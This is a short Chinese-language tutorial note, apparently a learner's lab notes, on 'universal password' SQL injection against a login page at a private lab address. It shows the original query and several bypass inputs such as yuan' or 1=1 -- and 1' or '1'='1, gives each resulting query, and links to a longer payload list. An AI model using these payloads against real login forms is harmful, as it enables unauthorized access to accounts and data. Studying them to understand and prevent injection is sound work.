'''
问题?后台登陆必须的账户和密码正确吗?
答:不一定是,看程序员写的代码如何,有没有做安全防范,程序都是人写的,人不是万能的,所以bug总会有的#嘛!
此时,万能登陆来了
'''
1.用户正确密码正确:
http://192.168.65.133/sqlserver/login.aspx
密码正确的数据库语句
select * from Admin where name='yuan' and passWord='123'
登录成功!
2.用户正确密码有误登陆
利用or和注释形成万能密码登陆
1)
用户输入:yuan' or 1=1 --
密码输入:asfasfasdfa
select * from Admin where name='yuan' or 1=1 --' and passWord='asfasfasdfa'
登录成功!
"--"代表数据库注释
2)
输入账号:yuan
输入密码:1' or '1'='1
select * from Admin where name='yuan' and passWord='1' or '1'='1'
登录成功!
3.错误账号和错误密码登陆
用户输入:yuandasffafsafdd' or 1=1 --
密码输入:asdfdfafsaf
select * from Admin where name='yuandasffafsafdd' or 1=1 --' and passWord='asdfdfafsaf'
登录成功!
因为or后面1=1为真所以为真可以登陆
"'"起闭合作用
一般是'(单引号),不过也有()括号
'''
更多万能密码可以参考
https://mp.weixin.qq.com/s?src=11×tamp=1624540826&ver=3150&signature=qr4JPQgdtccidIu556kWfCr7Dwu7-3mOVyEBsLslf-syzgTfgpQn1dRB5KWjG7GJKPBsLL6cisot-l8wbzx*87SZcntSWXfJy75dr0UlqxJphFTMGA82uhnnLlq7oWbb&new=1
挺详细的
'''